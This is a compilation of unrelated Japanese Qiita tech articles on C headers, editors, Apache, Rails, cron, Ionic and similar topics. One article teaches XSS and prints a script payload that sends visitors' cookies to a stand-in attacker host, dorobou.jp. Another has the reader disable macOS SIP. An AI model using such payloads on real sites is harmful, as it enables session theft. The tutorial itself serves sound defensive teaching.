OmniAICreator/Qiita-1.07M huggingface dataset:
C言語におけるヘッダファイルinclude時のパス指定

C/C++で、複数のディレクトリにまたがってヘッダファイルをincludeする場合に自分がとっている方法を記しておきます。


```
root
|-dir1
   |-main1.c
|-dir2
   |-main2.c
|-dir3
   |- config.h
```

ここで`main1.c`と`main2.c`の両方でconfig.hをインクルードしたい場合、2つのファイルで

```
#include "../dir3/config.h"
```

と書くと思いますが、

```
../dir3/
```

を書くのが多少煩わしいです。

そこで以下のようなヘッダファイルを作成します。

```config_sub.h
#include "../dir3/config.h"
```

そして以下のように配置します。

```
root
|-dir1
   |-main1.c
   |-config_sub.h
|-dir2
   |-main2.c
   |-config_sub.h
|-dir3
   |- config.h
```

こうすることで、`main1.c`と`main2.c`では

```
#include "config_sub.h"
```

とすることで`config.h`
の内容をincludeすることができます。

ファイルを手動で作成するのが煩わしい場合はPythonでスクリプトを書いたりすることで対応できるかもです...
[XCode]Playgroundを手動で実行する

Xcode10.1

## □を長押ししManually Runを選択
![image.png](https://qiita-image-store.s3.amazonaws.com/0/25428/cce6cb16-9ec2-93db-102b-8875d43f66b3.png)

## ⌘(cmd) + ⇧(shilf) + ⏎(Enter) で実行できる
Preference → Key Binding
![image.png](https://qiita-image-store.s3.amazonaws.com/0/25428/f199587c-e997-44ea-66b9-ad6b649d8687.png)
(Mac)VS CodeでMarkdownとPlantUMLを表示するまでに設定したこと

# VS Codeをインストール
* [ここ](https://code.visualstudio.com/download)から"Mac"をダウンロード

# VS Codeを日本語化
* 下図の様に拡張機能から"Japanese Language ・・・"を検索しインストール
![image.png](https://qiita-image-store.s3.amazonaws.com/0/281492/c4e1379b-9232-1fe3-d94a-1988544895d7.png)

# 拡張機能の追加
* 下記をインストール
  * Markdown All in One
  * Markdown Preview Enhanced （あったら便利）
  * markdownlint （あったら便利）
  * PlantUML
wsl上のapacheで遊んでみる

![Apache.png](https://qiita-image-store.s3.amazonaws.com/0/258841/39da7ff9-e478-1adf-d490-0c3f15a9c617.png)

## 背景

WSL上にapacheを立てて遊べる事が分かったのでやってみた。
その際のメモとか

## 環境

* WSL Ubuntu 18.04

## 手順

#### WSLのインストール

下記を参考にwslをセットアップします。
ubuntuのバージョンは正直何でもよいですがとりあえず最新を入れてみました。
[Ubuntu 18.04のWSL上へのインストールと初期設定](http://www.aise.ics.saitama-u.ac.jp/~gotoh/HowToInstallUbuntu1804OnWSL.html)

#### リポジトリ一覧を更新/パッケージのアップデート

Ubuntu 14.04から「apt-get」じゃなくて「apt」コマンドが推奨されているらしいです。
知らなかった。。。

[「apt-get」はもう古い？新しい「apt」コマンドを使ったUbuntuのパッケージ管理](https://linuxfan.info/package-management-ubuntu)

``` console
$ sudo apt update
$ sudo apt upgrade
```

#### Apache2のインストール

``` console
$ sudo apt install -y apache
```

#### サービス起動

``` console
$ sudo service apache2 start
```

#### ブラウザからアクセス

http://localhost/

でブラウザを開けばapacheのおなじみにの画面が見れます。

#### httpsを許可してみる

当然ですがSSLモジュールのONもできるようです。

``` console
$ sudo a2enmod ssl
$ sudo a2ensite default-ssl
$ sudo service apache2 restart
```

## 感想

予想の100倍くらい簡単にインストール出来ました。
WSL上での操作ってもっと独特の何かがあると思ってましたがそんなことはなく普通に使えます。
systemctlだったりところどころWSL特有の違いだったりlsの遅さだったり違和感はありますが全然気にすることなさそうです。

LAMP環境も簡単に作れるようです。うーん便利。
[WSLにLAMPを構築する（2018秋）](https://qiita.com/mollinaca/items/60c54b7767a49c1e3e51)

(はまると思って書き始めましたが予想以上にすんなりいって記事は薄めです。。。笑)
chunkwmが良さそうという話

こんにちは、ミツバです。
今回は、chunkwmを利用してみました。

[koekeishiya/chunkwm](https://github.com/koekeishiya/chunkwm)

ちなみに以前までは、[amethyst](https://github.com/ianyh/Amethyst)を利用していました。
xmonadを普段使っている人には、こちらのほうが使いやすいかもしれません。

## 動作イメージ

以下を参照

https://koekeishiya.github.io/chunkwm/screens.html


## install


```sh
# chunkwm
brew tap crisidev/homebrew-chunkwm
brew tap koekeishiya/formulae
brew install --HEAD chunkwm

# add config file and add plugin
git clone https://github.com/koekeishiya/chunkwm

cp chunkwm/examples/chunkwmrc ~/.chunkwmrc

# 補足を参照
cd chunkwm/src/plugins/tiling
make install
mkdir -p ~/.chunkwm_plugins
cp ../../../plugins/tiling.so ~/.chunkwm_plugins

cd ../border
make install
mkdir -p ~/.chunkwm_plugins
cp ../../../plugins/border.so ~/.chunkwm_plugins

cd ../ffm
make install
mkdir -p ~/.chunkwm_plugins
cp ../../../plugins/ffm.so ~/.chunkwm_plugins

cd ../../../.. && rm chunkwm

# khd
brew install khd
cp /usr/local/opt/chunkwm/share/chunkwm/examples/khdrc ~/.khdrc

# launchctl load
brew services start chunkwm
brew services start khd
```

多分これでinstallが終了します。

### 補足

brewでinstallすると、pluginは`/usr/local/opt/chunkwm/share/chunkwm/plugins`にあるそうなので、exampleのconfigを以下のように書き変えるのみでpluginのbuildは不要です

```
#
# NOTE: specify the absolutepath to the directory to use when loading a plugin.
#

chunkc core::plugin_dir /usr/local/opt/chunkwm/share/chunkwm/plugins
```

## config

`$HOME/.khdrc`でキーバインドを変更、`$HOME/.chunkwmrc`に設定ファイルがあり、それを編集すればいい感じに設定できます

## 所感

i3 likeな感じですごい良いのですが、デスクトップ移動などはmacをセーフブートして`csrutil enable`を打たないといけないっぽかったり、少し調べる必要があるかなと思いました。

参考：https://koekeishiya.github.io/chunkwm/docs/sa.html

何かいい感じの設定あったら、教えてください


## 追記

create desktop, focus desktopなどをする

### やること

セーフブートして、`csrutil disable`する
その後、再起動をして`sudo chunkwm --install-sa`を打つ
最後に`chunkwm --load-sa`をして終了
設定できた後は、再度セーフブートして`csrutil enable`したらいけた

設定は以下を参照するといい感じです。

[Useful tips and workarounds](https://github.com/koekeishiya/chunkwm/wiki/Useful-tips-and-workarounds)

### 今いるデスクトップの番号を知りたい

これが最高なので、使ってください
[dshnkao/SpaceId](https://github.com/dshnkao/SpaceId)
クロスサイトスクリプティング（XSS）を理解する - 悪意あるスクリプトを入れ込む攻撃

# クロスサイトスクリプティング（以下、XSS）とは

クロスサイトスクリプティング（以下、XSS）とは、攻撃者が標的サイトにスクリプトを入れ込むことで、そのサイトを閲覧した人のブラウザでスクリプトを実行させることです。

XSSという名前ですが、もともとは複数サイトを横断して（クロスサイト）スクリプトを実行させるような攻撃を意味していました。しかし新しいタイプの攻撃が見つかるたびにXSSの定義は拡張され、クロスサイトでなくともXSSと呼ばれるようになりました。名が体を表さなくなっているため、しばしば初学者を混乱させているようです。

事例としては、YouTubeのコメント機能にスクリプトを入れ込まれ、他のユーザーがYouTubeにアクセスした時に、コメントが表示されなくなったり有名人のデマが表示されたりした事件がありました。
XSS脆弱性とは、このようにユーザーの入力に応じてHTMLを生成するようなサイトに、スクリプトを入れ込まれてしまうことです。その結果、サイトにアクセスした人のブラウザで悪意あるスクリプトが実行されてしまうことになります。

# XSSの特徴は、標的サイトの権限でスクリプトが実行されること

ブラウザは、「同一生成元ポリシー」の考え方のもと作られているので、あるサイトから読み込まれたスクリプトが、他のサイトのデータにアクセスすることはできません。
例えば、私があなたのサイトを閲覧した時、そこに書かれていたスクリプトを私のブラウザが実行してしまっても、あなたのサイトのスクリプトは私のブラウザの銀行サイトのCookieやWeb Storageを取得することはできませんし、銀行サイトにリクエストさせることも銀行サイト側で許可されない限りはできません。

しかし、XSSはこの同一生成元ポリシーの制限を突破できてしまいます。

XSSでは、あなたはスクリプトを標的サイトに入れ込んでしまうので、私のブラウザはそのスクリプトの生成元を標的サイトであると判断してしまいます。私のブラウザはあなたのスクリプトに対し、銀行サイトのCookieを取得することも許してしまうわけです。

# XSS攻撃の分類
定義が広がっているXSSですが、その攻撃は3つに分類できます。

## 反射型XSS - 標的サイトにスクリプトを入力させ、反射するようにそのまま返させる
攻撃者がユーザーに、標的サイトに不正な値を入力するように仕向けることで、標的サイトが返すレスポンスに悪意あるスクリプトが含まれるようにするものです。
例えば、sns.jp はURLに付けられたパラメータをHTMLに含めてブラウザに返すとします。
あなたは以下のURLを掲示板に貼るなりメールで送るなりして誰かに踏ませようとします。

```
https://sns.jp?q=<script>fetch(`https://dorobou.jp?q=${document.cookie}`)</script>
```

※実際には、上記はURLで使用できない文字を含んでいるためURLエンコードされます

私がこのURLを踏むと、sns.jpサーバでスクリプトを含んだHTMLが生成され、私のブラウザに返されます。
私のブラウザはこのスクリプトをsns.jpの権限で実行してしまい、私のブラウザに保存されているsns.jpのCookieがあなたのdorobou.jpサーバに送信されてしまいました。

## 格納型XSS - 標的サイトのDBにスクリプトを格納させる
格納型XSSとは、スクリプトを標的サイトのデータベースに格納させ、他のユーザーがそのサイトを閲覧した時に、スクリプトを読み込ませて実行させることです。
例えば、あなたがSNSのコメントにスクリプトを書き込んだとしましょう。SNSはそのスクリプトをコメントとしてDBに格納してしまいました。すると、あとで他のユーザーがコメントを閲覧した時にスクリプトが現れてしまい、結果、その人のブラウザでスクリプトが実行されてしまいます。

## DOMベースXSS - 標的サイトのDOM操作を悪用する
上2つのパターンは、悪意あるスクリプトがサーバに送信され、サーバ側でそのスクリプトを含んだページを生成してしまうものでした。それに対してDOMベースXSSは、ユーザーのブラウザ上だけで完結します。
DOMベースXSSとは、攻撃者が標的サイトのDOM操作（ブラウザ上でJavaScriptがHTMLを操作すること）を利用して、ユーザーが不正な値を入力するよう仕向け、ユーザーのブラウザ上で悪意あるスクリプトを含んだHTMLを生成させるものです。

例えば、標的サイトshop.jpがブラウザに返すHTMLには、URLに付けられたパラメータをHTMLに反映するスクリプトが書かれているとします。
あなたは以下のURLを掲示板に貼るなりメールで送るなりして誰かに踏ませようとします。

```
https://shop.jp?q=<script>fetch(`https://dorobou.jp?q=${document.cookie}`)</script>
```

※実際には、上記はURLで使用できない文字を含んでいるためURLエンコードされます

私がこのURLを踏むと、shop.jpのDOM操作が私のブラウザで実行され、スクリプトになってしまっているURLパラメータをHTMLに反映します。
結果、私のブラウザに保存されているshop.jpのCookieが、あなたのdorobou.jpサーバに送信されてしまいました。

DOMベースXSSはユーザーのブラウザ上だけで完結し、悪意あるスクリプトがサーバへ送信されないため、サーバ側での対策（WAFを導入するなど）では防ぐことができません。
スクリプトがDOM操作する際に、意図しないスクリプトが埋め込まれないよう考慮して対策することが必要です。

# 対策の考え方
ユーザーが値を入力できる箇所（フォームなど）に、ユーザーが意図しないスクリプトを入力できないよう、入力チェックをしたり、\<script>などの特殊な文字列を無害な文字列に変換（エスケープ処理）したりすることが必要です。
ただし、URLパラメーターなど、入力チェックではスクリプトの入れ込みをはじけない箇所もあるので、サイトがHTMLを生成する段階でも、スクリプトを含めてしまわないような対策が求められます。

# 参考
[クロスサイトスクリプティング - Wikipedia](https://ja.wikipedia.org/wiki/%E3%82%AF%E3%83%AD%E3%82%B9%E3%82%B5%E3%82%A4%E3%83%88%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0#%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E7%AE%87%E6%89%80)
[IPAテクニカルウォッチ「DOM Based XSS」に関するレポート](https://www.ipa.go.jp/files/000024729.pdf)
MirageSoloのビデオシースルーモード（GVR SDK for Unity v1.200.0）

#先まとめ
・GVR SDK for Unity v1.200.0が公開されてシースルーモードが使えるようになった
・MR世界の到来
・白黒の電脳世界

#シースルーモードのやり方（アプリ編）
・[GVR SDK for Unity v1.200.0](https://github.com/googlevr/gvr-unity-sdk/releases)ダウンロード
・MirageSolo向けにビルドできるunityにインポート
※推奨unityのバージョンが変わってます。リリースページで確認してください
・GoogleVR-Beta-Demos-Scenes-HelloMRシーンをビルドしてインスコ

#シースルーモードのやり方（MirageSolo編）
・ベータ版機能のシースルーモードをオン
・必要に応じてVR設定のsafety警告を変える（オフにするとホームに戻れUI出ない）

#その他
・調査中
【初心者】paddingとmarginの使い分け

## はじめに
未経験Webデザイナーとして入社後、最初の研修課題をやりながらpaddingとmarginの使い分けが理解出来ずになんとなく設定していました。世の中のWebデザイナーさんは息をするくらい無意識に簡単に設定出来てしまうくらい自然なことなんだろうな～と、その時は思ったのですが、初心者の私にはどうしても理解できなかったので、私なりの解釈をまとめました。

## paddingとmargin
- padding
borderから見て内側の余白部分を設定するときに使用

- margin
borderから見て外側の余白部分を設定するときに使用

正直この理解はなんとなく出来るのですが、デザインとして線を必要としていない場合にその境界線がどこになるのかが理解出来ませんでした。そのため、境目がないのに何を基準にしてpaddingとmarginを決めればいいわけ？となり、ハテナの無限ループに陥る結果となったわけです。

## あなたも私と同じ理由ですか？
このページを見つけたということは、あなたもpaddingとmarginの違いや使い方を調べているからだと思うのですが、つまづいた理由は同じでしょうか？
もし理由が同じだった場合、paddingとmarginを考える前にWebサイトの構成をもう一度よく考えてみるといいと思います。研修課題をチェックしてくれた先輩からは「1つ1つの画像やテキストに焦点を当てるのではなく、もっと大きなくくりでサイト全体の構成をよく観察するといいよ」とアドバイスをもらいました。そう言われて初めて、自分がいかに狭い範囲でしか見れていなかったことに気付きました。

## ”お盆とお皿”で考える
私はサイト全体の構成をよく観察するため、開発者ツールを使用して、あるサイトを上から順にどういうブロックに分かれて構成が組まれているのか順を追って確認しました。（もっと良い方法があるのかもしれないのですが、かなりアナログ人間なものでして…。）
ひたすら上から順に確認した結果、最終的に行き着いた先が**”お盆”**と**”お皿”**の関係でした。どんなに美味しい料理でも、料理に合った大きさのお皿を選んだり、お皿に盛った料理をバランスよく見栄えを考慮して並べたりしますよね。paddingは料理をきれいに見せるためのお皿の余白、marginはお盆に乗っているお皿全体をきれいに見せるための余白と理解しました。そうなると、borderは必然的にお皿の淵に該当しますね。

## 複雑になった時も同じ
”お盆”と”お皿”で考えられれば、もっと複雑な構成にしても考え方は同じだと思います。
例えば、1テーブル4人席があったとしましょう。1人ずつ好きなお盆メニューを頼むとテーブルの上には必然的に4つのお盆が並びますね。きっと、無意識に隣同士ぶつからないように配置されると思います。また、自分の目の前にあるお盆の上に乗っている料理も、自分の食べやすい位置に変更したり、少しずらしてみたりするでしょう。
そうなると今度は、paddingはお盆とお盆の上に乗っているお皿の間を、marginはお盆とお盆の間と理解することが出来ます。また、borderはお盆の淵に該当することになります。
![Qiita_20190403.png](https://qiita-image-store.s3.amazonaws.com/0/390061/7c347432-94d2-53c5-3d83-8b74307baa94.png)

## まとめ
paddingとmarginが理解出来なかったのは、そもそも全体の構成がどうなっているのかが見えていなかったことが根本的な原因でした。これは完全に、paddingとmarginを理解する以前の問題でした…。
全体の構成がどうなっているのか（どうなるべきか）は、本当にいろいろなサイトを見て参考にする必要があります。自分でレイアウトを考えながら制作してみることも1つの手段ですね。今は、Webデザイナーさんが息をするように設定出来る理由も納得です！私もpaddingとmarginを上手く活用して見やすいレイアウト構成を考えられるようになりたいです。
ユーザー登録＜パスワードのハッシュ化＞


```gemfile.
#コメントアウト外す
gem 'bcrypt', '~> 3.1.7' 
```

```
bundle install
```

```
※passwordカラムは作成しない
rails g model User password_hash:string password_salt:string
```

ファイル作成

```models/concerns/user_authenticater.rb

module UserAuthenticator
  extend ActiveSupport::Concern
  included do
    before_save :encrypt_password
    attr_accessor :password
  end

  module ClassMethods
    # 認証
    def authenticate(email, password)
      user = self.approved.readonly(false).find_by_email(email)
      if user.present? && user.password_hash == BCrypt::Engine.hash_secret(password, user.password_salt)
        return user
      else
        return nil
      end
    end
  end
  private
  # パスワードソルトを生成、パスワードをハッシュ化し保存
  def encrypt_password
    if password.present?
      self.password_salt = BCrypt::Engine.generate_salt
      self.password_hash = BCrypt::Engine.hash_secret(self.password, self.password_salt)
    end
  end

end


```
適用させたいモデルに追記

```user.rb
  include UserAuthenticator
  attr_accessor :password
```

ストロングパラメータに :password 記載

でDBにはこんな感じで登録される

<img width="1093" alt="スクリーンショット 2019-04-03 13.43.29.png" src="https://qiita-image-store.s3.amazonaws.com/0/265805/80980169-7ba4-94df-bc53-e18ca258e789.png">
（ Vim ）全角スペースを表示、全角スペースを半角スペースに変換、文末の全角スペースを削除する

![Screen Shot 2019-04-03 at 13.34.03.png](https://qiita-image-store.s3.amazonaws.com/0/149269/38759078-5c3a-6df4-f4f0-f0fa8aa4b69a.png)

# Summary

`Vim` で

1. 全角スペースを表示

2. 全角スペースを半角スペースに変換

3. 文末の全角スペースを削除

## 全角スペースを表示する

```vim
autocmd MyAutoCmd ColorScheme * highlight UnicodeSpaces  ctermbg=131  guibg=#af5f5f
autocmd MyAutoCmd BufRead,BufNewFile * call matchadd(
      \ 'UnicodeSpaces', '\v' .
      \ '%u180E|%u2028|%u2029|%u00A0|%u2000|%u2001|' .
      \ '%u2002|%u2003|%u2004|%u2005|%u2006|%u2007|' .
      \ '%u2008|%u2009|%u200A|%u202F|%u205F|%u3000'
      \ )
```



## 全角スペースを半角スペースにする

```vim
command! Spaces call s:spaces()
function! s:spaces() abort

  " mark origin position
  :normal! ma

  let l:range = '%'

  let l:unicodeSpaces = '\v' .
    \ '%u180E|%u2028|%u2029|%u00A0|%u2000|%u2001|' .
    \ '%u2002|%u2003|%u2004|%u2005|%u2006|%u2007|' .
    \ '%u2008|%u2009|%u200A|%u202F|%u205F|%u3000'

  let l:space = ' '

  " Replace unicode spaces to normal space
  :execute l:range 'substitute' '/\v(' . l:unicodeSpaces . ')/' . l:space . '/ge'

  " back to origin position
  :normal! `a

endfunction
```

## 文末の半角・全角スペースのみ削除する

```vim
  command! TrimEnd call s:trimEnd()
  function! s:trimEnd() abort

    " mark origin position
    :normal! ma

    let l:range = '%'

    let l:unicodeSpaces = '\v' .
      \ '%u180E|%u2028|%u2029|%u00A0|%u2000|%u2001|' .
      \ '%u2002|%u2003|%u2004|%u2005|%u2006|%u2007|' .
      \ '%u2008|%u2009|%u200A|%u202F|%u205F|%u3000'

    let l:space = '\v\s'

    " Trim end spaces
    :execute l:range 'substitute' '/\v(' . l:unicodeSpaces . '|' . l:space . ')+$//ge'

    " back to origin position
    :normal! `a

  endfunction
```

## Thanks

@mattn
@koron 
@thinca 
@yaegassy 
@m_nish

## See also



[Vimで全角空白以外のユニコードの空白文字もハイライト&取り除く](https://qiita.com/tmsanrinsha/items/d6c11f2b7788eb24c776)

Table Unicode space characters( 下記のホームページを参考に作成）

[page11 Table 6-2.Unicode Space Characters]
(http://www.unicode.org/versions/Unicode11.0.0/ch06.pdf)

[fileformat.info](http://www.fileformat.info/info/unicode/category/index.htm)

```
Code  Char    Regex   Name
--------------------------------------------------------
[Cf]  U+180E  %u180E  MONGOLIAN VOWEL SEPARATOR
[ZI]  U+2028  %u2028  LINE SEPARATOR
[Zp]  U+2029  %u2029  PARAGRAPH SEPARATOR
[Zs]  U+00A0  %u00A0  NO-BREAK SPACE
[Zs]  U+2000  %u2000  EN QUAD
[Zs]  U+2001  %u2001  EM QUAD
[Zs]  U+2002  %u2002  EN SPACE (nut)
[Zs]  U+2003  %u2003  EM SPACE (mutton)
[Zs]  U+2004  %u2004  THREE-PER-EM SPACEk space)
[Zs]  U+2005  %u2005  FOUR-PER-EM SPACE (space)
[Zs]  U+2006  %u2006  SIX-PER-EM SPACE
[Zs]  U+2007  %u2007  FIGURE SPACE
[Zs]  U+2008  %u2008  PUNCTUATION SPACE
[Zs]  U+2009  %u2009  THIN SPACE
[Zs]  U+200A  %u200A  HAIR SPACE
[Zs]  U+202F  %u202F  NARROW NO-BREAK SPACE
[Zs]  U+205F  %u205F  MEDIUM MATHEMATICAL SPACE
[Zs]  U+3000  %u3000  IDEOGRAPHIC SPACE
```
docker-composeで起動しているRubyアプリケーションをデバッグする方法

自分はRubyのデバッグにはpry-byebugを利用しています。
pry-byebugは、デバッグしたいポイントに`binding.pry`を仕込むことでその時点でアプリが停止し、デバッグをすることができます。

## 問題点
フォアグラウンドで`docker-compose up`すると、binding.pryを仕込むことで以下のようなログが表示されます。
アプリの実行は中断されますが、あくまでログが表示されているだけなのでこのコンソール上でデバッグはできません。

```
web_1            |      9: def index
web_1            |     10:   binding.pry
web_1            |  => 11: end
web_1            |
```


## 解決方法
docker attachでRubyアプリケーションのコンテナに入るとデバッグできます。

```
$ docker attach ${container_id}

### エンターキーを押すとデバッグができる
[1] pry(#<HomeController>)>
```
GraphQL from boilerPlate 手順

1. configファイルでserveceNameとStageNameを指定（default/defaultはもう取られてる）

```:dev.env
PRISMA_ENDPOINT=http://192.168.99.100:4466/serviceName/stageName
```
```:test.env
PRISMA_ENDPOINT=http://192.168.99.100:4466/serviceName/test
```
```
> cd prisma
prisma > prisma deploy -e ../config/dev.env
prisma > prisma deploy -e ../config/test.env
```
デプロイしたらDependenciesをinstall `npm install`

.graphqlconfigをdev.envに合わせて `npm run get-schema` ⇒ src/generated/prisma.graphql を生成

```:.graphqlconfig
{
    "projects": {
        "prisma": {
            "schemaPath": "src/generated/prisma.graphql",
            "extensions": {
                "prisma": "prisma/prisma.yml",
                "endpoints": {
                    "default": "http://192.168.99.100:4466/serviceName/stageName"
                }
            }
        }
    }
}
```

`npm run test` でテスト環境の構築を確認
`npm run dev` でローカル開発環境構築の確認
（http://localhost:4000/　にアクセス　⇒　query users で　empty arrayが返ってくるのぐらいを確認）

prod.envのserviceNameを（必要ならサーバーのURLも）変更

```:prod.env
PRISMA_ENDPOINT=https://xxx.herokuapp.com/serviceName/prod
PRISMA_SECRET=xxxxx
JWT_SECRET=xxxxxxxxxx
```
```
> cd prisma
prisma > prisma deploy -e ../config/prod.env
```

プロジェクトのルートで`heroku create` でAppを作成(このとき remote repositoryも自動で作成される)
以下、prod.envに書かれてる環境変数を設定する

```
heroku config:set PRISMA_ENDPOINT=https://xxx.herokuapp.com/serviceName/prod PRISMA_SECRET=xxxxx JWT_SECRET=xxxxxxxxxx
```
`heroku config`で確認
`git commit -am "setup project"`
`git push heroku master` ⇒ production deploy
⇒ deploy終了後に提示されるURLにつなぐとGraphQLのPlaygroundにつながる
cronを28日ごとに設定する

## はじめに
cronは週ごとの設定は簡単ですが、○○日おきの設定はどうするのか悩んだので備忘録として残します。

cronの細かい設定リファレンスについては以下のサイトを参考にしました。
https://kazmax.zpp.jp/linux/lin_cron.html

## cronファイル編集
```
sudo crontab -e
```
## 28日ごとに設定
```
30 7 */28 * *　実行するバッチのフルパス
```
この設定で、設定した日から「28日おき7:30にcron実行」となります。

## 編集できたか確認
```
sudo crontab -l
```
## 日時を変更（動作確認用）
```
sudo date -s "yyyy/mm/dd hh:mm:ss"
```
## おまけ
28日おきの意味ですが、上記の設定だと28日間隔が空きます。
例）2019/4/3にcronの設定をしたら次回は2019/5/1、次々回は2019/5/29にcronが起動。
Ubuntuの「システムプログラムの問題が見つかりました」がしつこいときのメモ


Ubuntu 16.04 に有線接続したら，
「システムプログラムの問題が見つかりました」というメッセージが5分に1回くらいでてくるようになった。
![image.png](https://qiita-image-store.s3.amazonaws.com/0/315412/6f613165-5561-45ae-fa38-a82bc6758602.png)

本当に問題がみつかったのかもしれないが，ちょっと頻繁すぎるので直す。

[このサイト](https://qiita.com/naoyukisugi/items/d0a30f1e7b9761fdf3e9)をやってもメッセージがでたので，
[こちら](https://www.circletek.jp/index.php?key=jo7zehv6r-13)を参考に実行したら直った！

##直し方
端末を開いて以下を実行するのみ

```sh
sudo rm -rf /var/crash/*
```

おしまい
Railsの多段Association、多段Scope(joins)の実装例

# はじめに
*本記事はRails5.2にて作成されています、他のバージョンでの互換性を保証しません。*

# Table構成
![dbdiagram_io_-_Database_Relationship_Diagrams_Design_Tool.png](https://qiita-image-store.s3.amazonaws.com/0/87438/dc8fcd63-5e80-5af2-4801-7f42f778bb1b.png)

# Model構成
```ruby
#### item.rb ####
class Item < ActiveRecord::Base
  belongs_to :order
end

#### order.rb ####
class Order < ActiveRecord::Base
  has_many :items
  has_many :reviews
end

#### review.rb ####
class Review < ActiveRecord::Base
  belongs_to :order
  has_many :themes
end

#### theme.rb ####
class Theme < ActiveRecord::Base
  belongs_to :review
end
```

# 各種実装
## 多段Association
### orderからthemeを二段`has_many`したい & themeからorderを二段`belongs_to`したい

```ruby
#### order.rb ####
class Order < ActiveRecord::Base
  # ...
  has_many :themes, through: :reviews
end

#### theme.rb ####
class Theme < ActiveRecord::Base
  # ...
  delegate :order, to: :reviews
end
```

_注意: `has_many, through`の逆は`delegate, to`を使います_

こんなSQLが発行されます:  

```
pry(main)> Theme.last.order
  Theme Load (0.4ms)  SELECT  `reviews`.* FROM `reviews` ORDER BY `reviews`.`id` DESC LIMIT 1
  Review Load (0.3ms)  SELECT  `reviews`.* FROM `reviews` WHERE `reviews`.`id` = 1 LIMIT 1
  Order Load (0.5ms)  SELECT  `orders`.* FROM `orders` INNER JOIN `reviews` ON `reviews`.`id` = `orders`.`review_id` WHERE `orders`.`review_id` = 1 LIMIT 1
```

## 多段Scope(多段Joins)
### `item`を`review.text`でsortしたい

```ruby
#### item.rb ####
class Item < ActiveRecord::Base
  # ...
  scope :join_reviews, -> { joins(:order, order: :reviews) }
end
```

こんなSQLが発行されます:  

```
pry(main)> Item.all.order("review.theme_id desc")
  Item Load (7.0ms)  SELECT  `items`.* FROM `items` INNER JOIN `orders` ON `orders`.`id` = `items`.`order_id` INNER JOIN `reviews` ON `reviews`.`order_id` = `orders`.`id` ORDER BY reviews.text DESC
```

# `delegate`危険説(2019-09-15更新)

[こちらの記事](https://qiita.com/rorensu2236/items/6a97e829f4e5940e8d7e)が書いたように、`delegate`文を使うと、Ransackが不発になっちゃう事象は、筆者も確認できましたので。多段`belongs_to`を組む時、[この記事](https://blog.toshimaru.net/belongs_to-through/)が書いたように、`has_one through`が有効であることもわかりました。


# 参考
https://blog.toshimaru.net/belongs_to-through/
https://qiita.com/takashisite/items/9d1484b88708e2872134
https://qiita.com/ishidamakot/items/7dba557d764362a828ff
https://qiita.com/rorensu2236/items/6a97e829f4e5940e8d7e
https://blog.toshimaru.net/belongs_to-through/
（中級者向け）Ionic 4でのCSSカスタム変数の使い方

Ionic 4は、Web Componentsが導入され、一部のスタイリングはShadowDOMによってカプセル化されています。そのため、グローバルとは異なる方法で、スタイリングを当てる必要があります。ドキュメントだけでは分かりづらいという声があったので、いくつかのサンプルをまとめておきます。

テーマの当て方自体がわからない方は、先に [CSS変数｜Ionic Framework 日本語ドキュメンテーション](https://ionicframework.jp/docs/theming/css-variables) をご覧ください。

# サンプル
## ion-card
https://ionicframework.jp/docs/api/card/

[ShadowDOMになっていないため](https://github.com/ionic-team/ionic/blob/master/core/src/components/card/card.tsx#L12)、CSSカスタム変数も使えるけど、普通にCSSでも上書きできる。

```scss
// ○ スタイルが当たる
ion-card {
  background: #000000;
  color: #ffffff;
}

// ○ スタイルが当たる
ion-card {
  --background: #000000;
  --color: #ffffff;
}
```

## ion-button
https://ionicframework.jp/docs/api/button

[ShadowDOMが `true` になっているため](CSSカスタム変数がShadowDOMで用意されているが、初期値が用意されていないために)、ion-buttonの下位DOMのスタイリングを変更する時はCSSカスタム変数を使う必要がある。

```scss
// ☓ スタイルは当たらない
ion-button button {
  background: red;
}

// ○ スタイルは当たる （ion-button>buttonに反映）
ion-button {
  --background: red;
}
```

## ion-popover
https://ionicframework.jp/docs/api/popover

[ShadowDOMになっていないため](https://github.com/ionic-team/ionic/blob/master/core/src/components/popover/popover.tsx#L20)、普通にCSSで上書きできるけど、DOMツリー内でのCSS変数の受け渡しがあるからCSSカスタム変数を使ったほうが楽。
上と下のSCSSは同じ結果。

```scss
// ○ スタイルは当たる
ion-popover {
  .popover-content {
    height: 200px;
    box-shadow: 10px 10px 10px 10px rgba(0,0,0,0.4);
  }
}

// ○ スタイルは当たる
ion-popover {
  --height: 200px;
  --box-shadow: 10px 10px 10px 10px rgba(0,0,0,0.4);
}
```

## おまけ
CSSカスタム変数を、DOMに直接記述することもできます。

```html
<ion-button 
  style="--border-width: 10px; --border-style: solid; --border-color: green">
    Hello World
</ion-button>
```

# どうやって実装しているか
ソースコードやドキュメントをみれば一目瞭然なのですが、毎回実装の度にそれをするのも手間ですし、すべて記憶するには難しいので以下の手順でスタイリングを当てています。

1. とりあえずScopedCSSを意識せずに直接スタイルをあててみる
2. うまくいかなかったら、動いていないCSSの接頭に `--` をつけて、CSSカスタム変数にあるかを確認してみる
3. それでもだめならドキュメント読む
4. 仕方ないのでソースコード読む

最初のほうは `--background-color` は存在していなくて `--background` だったとかでちょいちょいドキュメントの確認が必要になりますが、慣れてきたら何となくで書けるようになります。
Ionicは特別なことはしておらず、Web標準の技術の中でやっているので __スタイリングを当てることが不可能ということはありません。__ 

それでは、また。
Ubuntu16.04にPHPの環境構築

環境
Ubuntu 16.04

まずは一応アップデートをしておきます。

```
apt-get update
```

sudoがなければインストールをします。

```
apt-get install -y sudo
```

Apache2をインストールします。（バージョン確認）

```
sudo apt-get install apache2
apache２ -v
```

PHP7をインストールします。


```
sudo add-apt-repository ppa:ondrej/php
/* もし、add-apt-repositoryがなければ
sudo apt-get install software-properties-common
sudo apt-get update
*/
sudo apt-get install php7.0 php7.0-mysql libapache2-mod-php7.0 php7.0-mcrypt php7.0-mbstring php7.0-xml
php -v
```

これでPHPのインストールは完了ですが、Composerも入れておくと便利です。

Composerについては別の記事で。
AMPのライブラリをjQueryの代わりに使う

みなさん、jQuery、使っていますか？
先日ウェブサイトの制作をある会社さんに発注したところ、jQuery満載のコードが納品されました。
「うわぁ…」ってなったんですけど、（主に発注ノウハウの）のいい勉強だなあと思ってjQuery排除のリファクタリングをしました。

リファクタリングしている中で、**AMPのライブラリ便利**だなあって思ったのでここにまとめます。

#AMPとは？
Googleが推進している高速なWEBサイト表示技術です。
詳しくはこちらをどうぞ。
https://www.ampproject.org/

#AMPのUIライブラリは非AMPページでも使える
